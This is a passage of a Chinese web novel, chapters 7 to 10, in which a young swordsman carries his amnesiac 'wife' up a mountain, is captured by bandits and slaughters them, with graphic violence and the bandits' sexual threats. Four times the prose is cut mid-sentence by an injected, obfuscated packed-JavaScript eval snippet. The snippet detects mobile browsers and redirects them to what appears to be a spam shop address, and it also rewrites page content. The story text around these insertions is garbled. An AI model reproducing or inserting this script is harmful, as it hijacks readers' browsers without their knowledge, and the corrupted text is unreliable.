像是没有看到云桑的窘迫,江见再次反驳道:“可我们是夫妻,有什么可避的?” 云桑被噎住了,讷讷地看着江见,又是乱七八糟嗯了好几下,终是在江见十分有威势的审视中败下阵来。 “好吧,对不起,是我不喜欢用别人用过的。” 云桑颓败地低下头,嗫喏着将实话说了出来,说完偷瞄了一眼江见的脸色,暗中观察着。 原本江见是挺郁闷的,喜欢的娘子不愿意同他亲近,甚至存在着嫌他的意思,他应当不高兴乃至生气的。 但一瞧少女那分明胆怯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134071|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的像个小老鼠还偷摸瞧他的可爱模样,江见哪里还有气,干脆扑哧一声笑了出来。 这就是对着娘子的感觉吗? 他自己都觉得比以往大度好说话了许多,真是不可思议。 “算了,不喜欢就不喜欢吧,我还能按着你头喜欢不成,随便你喽~” 随性的,肆意的,不太着调,透着他这个年纪应有的朝气,同时待她很宽容。 云桑暗暗松了口气,对江见的观感又好了几分。 想将拧好的葫芦还给他,却发现江见自己应当不方便将葫芦系回去。 因为一只手拿着饼子,便只剩下了一只手,解倒是好解,系便难度大多了。 无需多考虑,云桑默不作声地凑近了江见,轻手轻脚将葫芦在他腰间蹀躞带上系好。 江见虽然在咀嚼着嘴里的肉饼,但眼神却是分毫不离云桑的,尤其是当云桑柔软的手指在他腰间轻轻拨弄时,带起蹀躞带上其他小东西的声响,他的心也忍不住跟着一起摇晃轻响。 “好了。” 将葫芦系好,云桑退开,面皮微热,轻声道。 她以前应当从未给异性男子做过这些,空白的记忆无法告诉她,但身体的直觉会。 靠近江见时,她的反应实在生涩,这骗不了人。 少年轻笑了一声,修长的手指随意拨弄了一下漆黑的葫芦,两相对比下更显白皙似玉。 “你真好,我师父都没这样过。” 这样的夸赞太过简朴直白,云桑神色愕然,心道江见这人多少有些单纯。 只是系个葫芦就好了,是没人对他好过吗? 想到这个可能,云桑觉得倒是很有可能。 游侠本就游离江湖,漂泊不安定,与人相交也总不得长久,更遑论有好人家的姑娘愿意抛弃家人与他飘摇,身边自然没有什么知冷知热的人。 且听他说了那么多话,但只闻师父不闻父母,他的父母…… “你的名字,是你师父取的还是你父母取的?” 好奇之下,云桑多嘴问了一句,不过换了个婉转的问法。 只见江见指腹敲了敲葫芦,没事人一样朝云桑笑道:“自然是我师父,我是我师父捡来的,就在一条江上,所以得了这个名。” 这对于人来说是一场苦难,但却被江见这样轻描淡写地提着,风轻云淡的模样反而让云桑生出些同情。 她怔怔地看着江见,眼中情绪翻涌。 江见瞧了,反倒挑了挑眉笑道:“娘子这是在可怜我?” 不待云桑回应,江见环着胸继续道:“我可不觉得我可怜,我虽没有父母,跟着师父学武也有些辛苦,还时不时被师父揍,但师父也是真心待我,吃饱穿暖,自由自在,我觉得这样的生活挺好的。” “反倒是娘子你,前尘往事皆忘了,啧,怪可怜的。” 原本还沉浸在对江见的同情中,被他几句话将了回来,云桑竟也觉得有理。 没错,自己如今才是要什么没什么的可怜人,若不是运气好碰上个江见,焉有命在。 心中这样想着,但瞧了江见那得意洋洋的姿态,她仍是嘴硬道:“我不会一直可怜的,我、我肯定有父母!” 看着云桑气成了河豚模样,江见哈哈大笑了一阵,也不跟她争辩,嘴上让她道:“嗯嗯嗯,娘子说得对,你不可怜。” 山林间,一对少年人一个笑一个气,但出奇的和谐融洽。 8. 第 8 章 不痛不痒的斗嘴结束后,两人一前一后将手里的饼子吃完了。 云桑吃一个,江见吃三个,但他吃得太快,竟比吃一个的云桑还要速度。 好似云桑跟他比赛一样,先于云桑吃完最后一口饼子后,江见得意地看了她一眼,明显就是在炫耀他的胜利。 云桑心中咦了一声,强忍着对他翻白眼的冲动。 好无聊一个人。 恰好附近有条小溪,两人就着溪水漱口一番,将手上的油污洗去,云桑整个人再度清爽起来。 云桑低估了山路,或者说高估了自己的身子骨。 在随江见走了一刻钟后,云桑动作迟缓了许多,体力渐渐跟不上了。 腿上就跟绑了石头一样,身形也佝偻起来,不仅速度变慢了,本就不多的话更少了,这直接引起了江见的注意。 “娘子累了。” 看着落在身后好几步且气喘吁吁的云桑,江见慢悠悠走过来,用着一种肯定带笑的语调道。 事到如今,云桑也不是那等爱逞强的人,老实地点了点头,干脆往一旁的石头上一坐,也不挑拣了。 她终究不是什么登山健将,这一段路都快要榨干了她。 “我、我不行了,我要歇一歇~” 云桑脸红气喘地说话,话语断断续续的,听起来十分可怜。 江见跟着一起蹲下,打量着云桑由于累极而潮热红润的面颊,叹气道:“早知你这么娇气,一开始便不同你散步了,若是累死了我上哪再去找一个新的娘子。” 云桑累极了,尽管江见这话她听了恼怒,想反驳几句,但累得气喘的她此刻也有心无力了。 这哪里是散步,人与人之间果然是有参差的,云桑心想。 还没等她歇两口气,方才嘲笑完她的江见蓦地走了过来,俯身,长臂一伸穿过了云桑的两腋和腿弯,脸不红气不喘地将她抱了起来。 突然从地面悬空,虽然有江见拖着她,云桑还是惊呼了一声。 两手攥着少年因抱着她而微微紧绷的臂膀,云桑面上红晕未消又起。 “你这是做什么?” 这样的姿态,比昨夜背着的法子更亲近,云桑有些不自在。 江见则不以为意,甚至还饶有兴趣地将人上下颠了颠,啧声道:“果然,无论是背着还是抱着都那么轻,娘子太瘦了,待会办完事了我必抓只肥兔来给娘子补补。” 眼见这时候江见还顾左右而言他,云桑恼得在他怀里乱扭了一通,才引得江见说到点子上。 只听他连着嗳了好几下,一本正经道:“这山还有一大半要走,娘子怕是累死也上不去了,但我会轻功,我抱着你飞过去!” 轻功二字一入耳,云桑顿时不挣扎了,满眼惊奇地看向了江见,半信半疑道:“轻功?是话本子里的那种神奇的东西,你竟然真的会?” 往昔的记忆如同被冰封住的静海,偶尔便会因为暗流涌动自己破一个小洞,冒出些汩汩涌动的水流。 这让云桑觉得以前的自己生活定然富足,又是戏文又是话本子的,这分明是日子太闲了。 大概是江见也有类似的想法,饶有兴趣道:“又是戏文又是话本子的,娘子以前倒是过得有滋有味的。” 云桑被说得一阵脸红,窝在江见怀里不再动弹了。 实不相瞒,云桑也好奇这传说中的轻功是什么模样,默认了江见的行为。 然而,好奇心和对传闻中轻功的新鲜感让云桑忽略了接下来相伴而来的刺激。 当江见抱着她在山林里飞来飞去,一会上升一会下落,上蹿下跳式赶路时,云桑被吓得全然忘了那些阻隔在男女间的规矩礼节,不顾一切地抱着江见的脖颈,将脸埋在了他的颈窝处,如一根死命缠在树上的藤萝。 她紧咬牙关,生性内敛姝静的她不好意思做那等大喊大叫的行为,只颤着身子缩在江见怀中,强忍着被刺激到的情绪。 作为肌体与云桑最亲近的人,江见立即就感受到了怀中少女的颤抖与忍耐。 飞驰中,江见轻拍了拍云桑的背,轻笑着安慰道:“害怕便喊出来,憋着对身体不好,来吧!” 江见是个坏心眼的,一边温声鼓励她一边又来了个断崖式的降落,巨大的失重感传来,云桑没忍住,抱着江见的脖子尖叫出了声。 “啊~” 这一声仿佛响彻了整座山,但同时也让云桑释放出了心中大大小小的压力和郁气。 这样的失态,只有零次和无数次,有了开头那一嗓子,云桑后面便没有那种拘谨的情绪了,只要江见一有起伏,她便放任自己的情绪大喊出声,喊道最后竟觉得没有那么可怕了,自己都笑了出来。 云桑觉得自己整个人都仿佛轻盈了许多,心情也随之明朗了许多,有种灵魂都剔透起来的感觉。 除了那双依旧紧紧环着江见脖颈的纤细双臂,其他都变了。 对于云桑的变化,江见不出意料,破碎的话语断断续续的,但云桑靠得近,可以听得清。 “我说的对不对,喊出来是不是浑身舒爽?” 云桑垂着眸子,纤长的睫毛轻颤着,面颊已经不是起初的发白,而是带着兴奋的红润。 她没有附和江见,尽管事实便如江见所言,云桑只是在他怀中扭了扭,找了个舒服的位置。 他腰上还别了把笛子,白玉一般,颜色倒有几分好看,就是偶尔硌着她。 没有得到回应,江见也不在意,只是低低笑了几声,将人抱得更紧些,牢牢圈在怀里。 脖子上就好像被柔韧的藤蔓缠住,有些紧,但让江见生出一种窒息般的快乐。 “不说就不说吧,我们赶路!” 江见又带着她飞驰起来,云桑睁开眼睛,看见了周围高高的树顶,偶尔还有栖息在枝头的鸟儿被惊起,从她身边乱蹿出去。 少年身形轻盈的就像一片翻飞的树叶,云桑便是树叶上一粒小小的种子,被有些卷曲的树叶牢牢托在其中,向着山顶飘去。 云桑彻底放松了下来,环着江见的双臂也渐渐松了下来,这让江见神色郁郁。 云桑以为自己已经接受良好了,然抵达山顶,被放下来时,云桑双腿已然软的不行,要不是有江见在旁边捞了一把,她怕是要摔个跟头。 在江见似笑非笑的眼神中歇了片刻,云桑才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134072|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故作风轻云淡地站起来,催促他出发。 也是为了转移他的注意力,云桑打听起了他今日上山的事。 “行侠仗义。” 江见看了自己一眼,意气风发道。 到了山顶,脚下不再是高低崎岖的山路,加上江见刻意等她,云桑跟得不费劲。 这是一个意料之外又意料之中的答复,云桑看着少年噙着灿笑的侧脸,还想继续问什么,然变故骤生…… “那两小崽子,给大爷站住!” 犹如平地起惊雷,将云桑什么好心情都打碎了。 两人一前一后循声看去,见眼前不知什么时候多了四个身板高壮的大汉,提着的东西,又是刀又是斧的,端的一副凶神恶煞的模样,一看便知不是好人。 云桑脸色一白,天性中的趋利避害让她下意识往江见身后躲了躲,寻求一丝安全感。 与云桑的惊惶不同,江见看着一点也不害怕,甚至唇边还扬起了更深切的笑。 云桑看着那抹灿烂的笑,一度怀疑江见施展轻功的时候被风吹傻了。 然江见误解了云桑的意思,见少女水盈盈的眼睛看过来,他气定神闲地牵住了云桑的手,轻快的嗓音中带着几分安抚人的甜腻。 “娘子别怕。” 云桑神色古怪,觉得这人过于乐观了。 两人牵手的空档,那几个凶神恶煞的壮汉嘿嘿笑着来到了两人跟前,四双眼睛透着奸邪淫靡的光,云桑被看得浑身发毛。 “果然是一对好货,打老远俺便瞧出来了,太俊了,男女都俊,将他们带回去大哥一定高兴!” 领头的是一个满脸络腮胡的汉子,他两眼放光地打量着眼前的一对少年,哈哈大笑道。 身后的三人也跟着附和他,夸赞的话语中尽是荒淫的恶意。 云桑慢慢猜出,这些人应当是窝藏在山头的匪。 山川之大不可预测,山林中的曲折也为人不知,而许多匪贼便是占据着山间地势作恶,为祸一方。 云桑不禁为自己默哀,遇上山匪,大概是最不幸的事了。 早知她便不来了,云桑脸色难看,心中碎碎念道。 “你们便是这桃花山的匪吧?” 忽地,少年清亮柔软的话语打断了几个匪贼的□□,让天地变得瞬间一静。 不仅是匪贼,云桑也看了过去,神色不一。 她就不该信江见这人的鬼话,一时间心中五味杂陈。 与云桑的泄气不同,几个贼匪来了几分兴奋劲,先瞅瞅漂亮的小姑娘,再将目光落在少年秀丽标致的眉眼上,嬉笑道:“呦,小公子听过我们桃花帮的名头,那应当知道我们的厉害了,这番乖乖跟我们哥几个走吧!” 人荒淫到一定程度,便不分男女了,只要相貌够标致,那些脑子长在下面的人便都能吃得下,以此获得快感。 显然,这群匪贼便是这类人,欲将这对少年一并收下。 然就在几个匪贼想要过来拉扯二人时,只见江见不紧不慢地往旁边一避,带着云桑一道,没让那几只脏手碰到二人。 “不劳烦几位大哥,我们会走,前面带路即可。” 9. 第 9 章 就好像是在与人闲叙,语调中完全没有一丝慌乱,和惴惴不安的云桑天差地别。 云桑越来越搞不懂他了,第一次见还有乖巧直奔匪贼大本营的。 不仅是云桑一头雾水,匪贼也傻眼了,紧接着露出大笑,一脸稀奇地看着江见,像是看什么珍奇异兽。 “你们听听,这小子莫不是让山里的大虫吃了脑子,竟这样乖觉,老子长这么大还是第一次见,哈哈哈~” 放声大笑的同时,领头的络腮胡大汉难免生出几分疑窦,觉得这小子哪里怪怪的。 江见不急不徐地开口,姿态懒散闲肆。 “我们二人势单力薄,怎会是几位大哥的对手,还不如老老实实的,免得吃皮肉吃苦,有什么不对吗?” 少年的笑太过真诚,使得几个匪贼竟辨不出真假,只觉得这小子句句属实,真有几分道理。 不过一对看着身形单薄的少年人罢了,他们几个难不成还不是对手? 再一看身后的少女面上带着惊惶,做不得假,他们实在想不出哪里不对劲,便消了疑窦,挥了挥手,示意识趣的少年跟上。 江见如了他们的意,牵着云桑跟在了后面,如踏春一般,带着春光明媚的笑意。 云桑别无他法,也只能如此走下去了。 她还是不信江见是个这样的傻子,再联想起先前他一番凌云壮志的话,云桑猜出了他的意图。 但还是很震惊。 他可真不知天高地厚,竟然还敢以身犯险,而且还带着她一道。 真不知该说他自信还是狂妄了,云桑心中猜想着江见能不能像他所说的那样护得住自己。 忐忑地跟在江见身边,云桑行走在春光明媚的山林中,却再也高兴不起来了。 路过一片火红的山茶花,江见顿住了,带着云桑也立在了原地。 四个贼匪立即就注意到了,停止满嘴的粗俗话语,叉腰看着两人。 云桑没说话,只是用眼神询问了他一番。 “几位大哥稍等,我摘朵花给我娘子。” 也不等几个贼匪应答,江见大步流星过去了,将其中最大最美的一朵给折了下来,簪在了云桑空无一物的鬓边。 先前那朵粉色小花早在江见上蹿下跳的飞驰中掉下去了,江见此番也正是履行了先前的诺言,为她又寻了一朵过来。 虽然这是一桩十分甜蜜有情调的行为,但放在这等时候,云桑实在难以消受。 露出一个干巴巴的笑容,云桑心中不是滋味。 几个贼匪看着一对恩爱的小夫妻,嘴里又开始不干不净起来。 “瞧,人家还挺恩爱,到时候让这对恩爱小夫妻一道服侍大哥,说不定大哥腻了咱们也能……” “嘿嘿嘿~” 江见自然也是听到了,只是他暂时还需要这几个不知死活的东西领路,且让他们多喘几口气罢了。 既然不会说话,那待会便永远不要说话了。 艳丽的山茶花簪在鸦羽般的鬓发中,让少女本就美丽的面容更显明艳动人。 江见没有错过少女面上的忧虑,替她抚了抚鬓边微乱的发丝,轻声道:“怕什么,我说了护得住便是护得住,你这样让我很没面子呢。” 云桑见他这时候还狂妄,半信半疑的她不知说些什么好,只长长叹了一口气。 江见看着少女仍旧恹恹无力的面庞,江见心头泛起了愁绪。 娘子真是多愁善感,看来他得再努力一些。 目光落在仍在嬉笑着说些不干不净话的几个贼匪,少年一向明媚的眸光划过一丝冷芒。 又走了差不多一盏茶的时间,贼匪的窝点出现在眼前,是一座看起来有些粗糙的村落。 乍一看跟山下寻常的村子没什么区别,但仔细瞧会发现很大的区别。 里面走动来往的男子看起来皆是同身边几个一样凶恶,因为天气渐热,这些一身血气的汉子身上的衣物也不好好穿,多有露出臂膀和胸膛的。 云桑不经意间瞥到了一些,立即将头扭过去,不欲再瞧。 有些难看。 飞速将那些肌肉可怖还长着浓重汗毛的画面自脑子里划去,云桑扭头去看江见,想要洗洗眼。 山寨里不仅有男子,更有零零散散的女子,但穿行在其中的女人神情麻木,看起来不像是经营生活的劲头,倒像是行尸走肉。 偶尔还有被追打的可怜女子,她们披头散发,神情悲怆而无助,面对毒打只能抱头痛哭,哭声中夹杂着男子恶毒粗俗的咒骂。 同样是刀尖上讨生活的,江见与他们便很不一样,虽然皮肤是粗糙了些,但生得白白净净的好看,让人看着便赏心悦目。 察觉到云桑突然看过来的眼神,江见虽不知她在想什么,仍旧下意识噙着笑迎了过去。 看着娘子,他会很开心的。 山寨里,云桑和江见的出现引起了不小的骚乱,不仅是那些爱财爱色的恶徒看了过来,就连那些神情麻木的女子也悄悄转过头看他们,麻木的眼神中带着几分怜悯。 怜悯这样柔弱漂亮的孩子即将遭遇不幸,变成如她们一般的可怜人,纵使一颗心早已冷漠麻木,还是生出些怜悯来。 只怜悯了一瞬,她们便继续做她们自己的事情,动作机械,像是没有灵魂一般。 云桑二人被几个贼匪带到了山寨中最大的一个屋子里,不用想这便是贼匪头领的住处了。 大约是还没起,听到手下来报抓到了美人,贼匪头领黄良衣衫不整地起来,身边还跟着一个同样衣衫不整的娇媚女人,一副鼻子不是鼻子,脸不是脸的模样。 黄良原本还带着被打搅的怨气,待一到正堂,看见那个躲在少年身后的美貌少女,他当即醒神了,眼中异彩连连。 “好标致的姑娘,你们真是有本事,竟真寻了个天仙回来,重赏重赏!” 贼匪头子面上是肉眼可见的欢喜,甚至急不可耐地从上首下来了,欲走尽云桑,近距离瞧瞧那等不似凡人的好颜色。 然还没靠近,就被开始一直被他忽视的少年伸手挡住了去路。 黄良一怔,将黏在那漂亮姑娘身上的目光大方地分出来些许,落在了少年身上,尤其是一触到那张同样属于绝佳好颜色的面皮上,他扬起了一抹饶有兴趣的笑。 虽然他是个男女不忌的,但身为男子,他还是第一眼被颜色鲜妍的少女吸引,以致于都没有注意到这个少年也是一副惹人喜爱的好相貌。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134073|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别碰我娘子。” 当他听到这么一句的时候,心里扭曲变态的欲望如藤萝一般铺天盖地疯涨,脑中设想了一番小夫妻一同服侍他的美妙场景,他浑身颤栗地大笑起来。 “哈哈哈,夫妻好,夫妻好啊!” 又是回头狠狠夸赞了那几个将人抓来的贼匪,黄良心中满意极了。 将人哄开心的络腮胡大汉在一旁跟着搭话道:“大哥不知,这小子有趣的很,遇到了我们这些恶名在外的人竟也不惧,还主动跟着我们回来,小弟活这这样大还是第一次见这样的怪人哈哈~” 这话顿时引起了黄良的注意,他眸中的兴奋褪下去几分,泛起思虑才能产生的精光。 事出反常必有妖,这是一惯的真理,黄良在桃花山上当了七八年的山匪,自然是有这样基本的警觉的。 但就像手下说得那样,不过两个看着身形都单薄的少年人,能掀起什么风浪? 尽管他看见了少年腰间的长剑,不过那又如何,毕竟如今多的是不知好歹的小年轻自称侠士,实际上都是些绣花枕头,一人一剑可抵他的几百号兄弟吗? 念此,黄良心中更觉稳操胜券,不急不慌地继续打量起这一对小夫妻来,越看越满意。 就这等货色的姑娘,他愿意用他所有的女人来换,不亏! 然就在这般群狼环伺的环境中,那少年依旧面不改色,甚至还能笑盈盈地回头安慰身后心情不大好的娘子。 “敢问大当家,三年前是否在桃花山脚下抓过一个唤作胡灵儿的姑娘?” 身陷在贼匪的老巢中,云桑本该十分崩溃害怕才是,但不知是不是江见握着她的那只手给了她力量,云桑并没有十分害怕,只是难免心情不好,时而忐忑时而丧气的。 见他还不紧不慢地询问起了贼匪头领,那气定神闲的模样,云桑都以为这是在什么公堂上。 云桑又明白了几分,他是为一个叫做胡灵儿的姑娘上山的,怕是与人家有什么过往,又或者有什么恩情在。 容不得她多想这些乱七八糟的,云桑静静立着,有种与世隔绝感。 无所谓了,反正这条命也是江见救下的,若是在此丢了也是天命,只是可惜她还没有寻回记忆。 云桑呆呆地盯着江见腰间那如玉一般洁白的笛子,细细打量着,思索这是什么材质。 正堂内,听见江见的询问,黄良皱着眉头,一边稀奇地看着眼前的少年一边含糊道:“胡灵儿?不记得,老子在山下抓的人多了,谁会记得姓名,你这小子未免可笑。” 尽管黄良不记得,但恰好这里有贼匪对这个名字有印象,忙站出来为大哥分忧道:“回禀大哥,是有的,确实好像是三年前抓来的,配给了李麻子,还生了个男娃!” 闻言,黄良唔了一声,不过没有太放在心上,只是摆了摆手,漠不关心道:“哦,那就是有呗。” “行了,不说这些了,小子,让你娘子好好来陪陪老子吧!” 黄良哪里会在意三年前抓上山的姑娘,大概那姑娘也早被他玩腻了,眼下跟前这个少女才是他应该上心的。 色心再度燃起,腹部还未消下去的邪火再度燃烧起来,他猿臂径直伸向躲在江见身后的云桑,神色兴奋得要命。 10. 第 10 章 看着那只正向自己探过来的罪恶手掌,云桑原本还算镇静的脸色土崩瓦解了。 面上红润褪去大半,眸光破碎,肉眼可见的颤抖害怕。 她只是一个身陷贼窝且没有什么反抗能力的姑娘,面对这样的险恶场景,云桑的害怕几乎无法掩饰。 就在这时,云桑觉察到身子上传来了一股外力,很轻柔,像一阵风般将她轻轻推开了些。 只见江见手腕以一种十分刁钻的角度翻转,没等她看清接下来的动作,就被眼前银芒闪到了眼眸,云桑下意识阖上了眼,只听见一阵让人肌肤颤栗的血肉撕裂声响,哀嚎声瞬间穿透了云霄。 “啊~” 这声音太过凄厉,也太过尖锐,吵得云桑耳朵有些疼,她捂住了耳朵,直勾勾地看向前方。 前方的景象大半被江见并不算魁梧的身子挡住,但那只血淋淋的断肢没有被挡住,落在了一边,就像是喧闹的西市上被剁好的猪手,不过这个要更长,也不似猪手那样白生生的,它断裂处满是汩汩流动的鲜血,腥气盈满了整个大堂。 所有人都惊呆了,除了江见那个罪魁祸首。 贼匪头子还在捂着他断裂的臂膀哀嚎着,鬓角的青筋几欲爆出来。 “大哥!” 回过神来的众贼寇神色不再呆愣,变得目眦欲裂,有的朝着贼匪头领扑过去,有的径直操着家伙朝着江见涌来,那暴怒狰狞的模样,骇人极了。 云桑还未从血淋淋的残肢的惊吓中回过神来,就瞧见这凶险的一幕,瞳孔中映照着贼匪可怖的身影,她身形晃了晃,刚要后退,身前就多了一道身影,如鬼魅一般的速度,眨眼间便横在了眼前。 云桑没看见那贼匪是如何死去的,但她看见了江见横过来后带血的剑刃,还有滴在地上浓稠的鲜血。 好像有什么圆滚滚的东西从高处落了下来,在地上咕噜咕噜滚了几圈停下来了。 云桑眼睛眨了眨,人的好奇心驱使着她想要探头去看看是什么东西,但被江见及时转过身子捂住了眼睛。 眼前陷入黑暗,来不及闭上的眼眸在少年掌心中轻眨着,长长的睫毛不可避免来回扫在掌心,扫在掌心的软肉上,让本血气沸腾的江见浑身颤了颤,情绪拐到另一条道上了。 “闭眼,待会会有很多可怕的东西,最好别看。” 这是一句及其善意的提醒,云桑的理智告诉她应当听从江见的建议,她飞快地点了点头,在他掌心中闭上了眼。 江见的手掌离去,带走了黑暗,让云桑感受到了青天白日刺目的日光。 耳畔尽是凌乱的风,云桑知道那是江见带来的。 兵刃相接,血肉绽裂,还有那一群群贼匪的惨叫哀嚎声,尽数被身边轻柔的劲风吹拂开来。 杀戮,应当是十分可怕的,云桑自知自己没有什么钢铁般的意志,她听话地回避。 但事情不是她想象的那般顺利,当听到贼匪头领那一声大吼,云桑再不能维持镇定了。 “抓住那个丫头,拿她当人质!” “好狠的小子,他爷爷的!” 嘶哑的声音中,还带着难以抑制的痛苦,这如一道催命符,立即让云桑不淡定了。 没有人在听到敌人就要靠近时还能无知无觉地闭眼立在原地,云桑是个再平凡胆怯不过的姑娘,于是她立即就睁开眼了。 顺其自然地看到了周围的一切,云桑面色惨败,呼吸急促了起来。 满目的血红,一滩滩浓稠的鲜血溅撒在地上,不仅是那只断肢,还有方才云桑惊惧又好奇的的咕噜声…… 一颗血液还未凝固的头颅,正死不瞑目地看着前方,形容十分可怖。 更别说那躺了一地的尸身,身下皆是冒着热气的鲜红色。 他们大多是被一剑封喉,身上除了脖子上一道齐整的血痕,其余再没有别的伤口了。 腥气在眼睛的作用下似乎更浓郁了,云桑被呛得有些想咳嗽,捂着唇退到了墙边,身前是仍在收割贼匪生命的江见。 明明是在做这样血腥残酷的事情,少年面上偏偏挂着轻柔的笑,就好像只是在折花,而地上的鲜血只是折花时掉落的花叶。 江见的招式如他的人一般赏心悦目,不禁让云桑想起了“翩若惊鸿,宛若游龙”这句,行云流水一般的丝滑感,举手投足间便能化解贼匪凶悍的招式,让后狠辣地将对面置于死地。 甚至没有让一滴血沾到自己明亮雪白的衣袍上,少年的衣袂仍是纯白无暇的模样。 方才听令扑向自己的几个贼寇早已失去了生机,尸体直挺挺地躺在脚边,流出的鲜血几乎要沾染到江见的白色长靴上。 还好江见眼尖,也看见了那蜿蜒而来的血迹,步伐往旁边挪了挪。 云桑愣愣地看着江见长剑上不断滴答而下的血色,尤其在看到他唇边一直未落下的浅笑,不知为何,心间爬满了一种名为恐惧的东西。 此刻的江见就像是一只恶鬼,一只拥有美丽皮囊的恶鬼。 也许是感受到了云桑不同寻常的长久注视,江见回头看她,没有错过云桑面上那遮掩不去的恐惧。 江见唇角噙着的笑意淡了,嘴角也慢慢撇了下来。 他高昂的情绪瞬间低落了下来,胸腔中平生第一次出现了压抑的沉闷感,有些涩涩的,让人提不起劲来。 “怕什么,我又不会杀你。” 少年也不笑了,乌黑的眼眸静静凝望着云桑,语调很平静,但却让云桑感受到一种静谧的压力。 处在这样的气氛下,云桑显得更弱小了,唇瓣翕张着,嗫喏着想否认这一事实。 云桑能感觉到,自己对他的害怕让江见有些不高兴,似是不悦,又似难过。 但嘴里的假话还没被挤出来,门就被踹开了,乌泱泱的人挤进来,占满了整个大堂。 目测来说也有个一二百,压根不是一个人单枪匹马能抵挡的。 好了,云桑的害怕又被转移了。 捂着断臂强忍着没有晕过去的黄良等的就是这一刻,见小弟们都来了,立即狰狞着一张脸放狠话道:“挨千刀的小畜生,今日老子要将你扒皮抽筋,让你亲眼看着你的女人怎么被老子玩死!” 痛楚化成了连绵不绝的恨意和暴怒,黄良几乎是怒吼着喊出来的这句话。 云桑被他散发出来的恶意吓得身子抖了抖,面上愁云密布的。 原本还觉得江见身手不凡冒出了些生还的希望,如今刚发芽的种子又枯萎了。 江见侧目,看见了如鲜花枯萎般的少女,他没有第一时间理会黄良的恶臭话语,扭头帮云桑扶了扶鬓边有些歪斜的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134074|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色山茶花。 也正是这个空档,云桑的耳朵里忽地被塞进来两粒不知是什么的东西。 “再稍等片刻,我便带娘子离开这脏臭的地方。” 他轻声细语地说着话,面上比平日更温和,云桑品出些小心翼翼哄人的意味。 她木木地点了点头,虽不晓得江见在她耳朵里塞了什么,但直觉告诉她应当不会伤害他。 果然,云桑看见扭过头的江见也给自己戴了一副,整个人蓄势待发。 涌进来的贼匪见到一地的惨烈和大当家被截断的臂膀,都领会到了眼前这个身形清瘦的少年是个狠辣的角色,一个两个都不敢贸然上前对阵。 就在这样剑拔弩张的氛围中,众人只见少年将自己染满鲜血的剑身在最近的一具尸体衣裳上擦了擦,让其恢复了雪亮洁净。 那是一柄很美丽的剑,剑身细长如柳叶,通体雪白无垢,如银霜漆就而成,在日光下无比耀眼。 这是一柄美丽而又危险的剑,就如同它的主人一般。 众人只瞧,江见将剑擦拭干净后锵的一声收回了剑鞘中,姿态悠闲地抽出了腰间雪白的骨笛。 就好似正处在雕梁画栋中的富家公子哥,江见甚至还指尖灵活地转了转笛子,十足轻蔑潇洒的姿态。 云桑第一反应又怀疑这人傻了。 这等时候还要吹笛子,云桑实不知江见到底在谋划些什么。 难不成想要通过献丑一曲让这些贼匪放过他们? 云桑自己差点都被这个荒谬的猜测给逗笑了,不再胡思乱想,将江见塞在她耳朵里的两粒东西抵得更严实些。 她还是相信一下江见吧,毕竟他看起来那么有自信。 刻意去避开地上惨烈的一切,云桑将目光放在了江见身上,目光幽幽。 只见少年修长的手指将长笛横在唇边,一道悠长的笛音便倾泻而出,如一道长剑贯穿云霄。 是的,长剑。 笛音好似无数把长剑,瞬间贯穿那些贼匪的灵魂,在云桑听来只是过于尖锐的笛音,但却让那百来号人一脸痛苦的抱住脑袋,七窍开始流血,哀嚎声一片。 包括那个本来在上首捂着自己断臂的头领,此刻也没了精力去管,只能用他仅存的一只手捶着自己的脑袋,但仍管不住唇边溢出的鲜血。 不消一盏茶的时间,那原本气势汹汹的贼匪便一个接一个地在地上翻滚哀嚎着,气血翻涌的他们几乎整张脸上都糊满了鲜红的血,辨不清长相,十分可怖。 显然,这些贼匪已经失去了反抗的能力,奄奄一息地躺在地上,剧烈地喘息着,像一条濒死的野狗。 云桑呆呆地看着眼前顷刻间便翻转的一切,胸腔中那颗惴惴不安的心慢慢平稳了下来。 原来江见并没有说大话,他真的能带她离开这里。 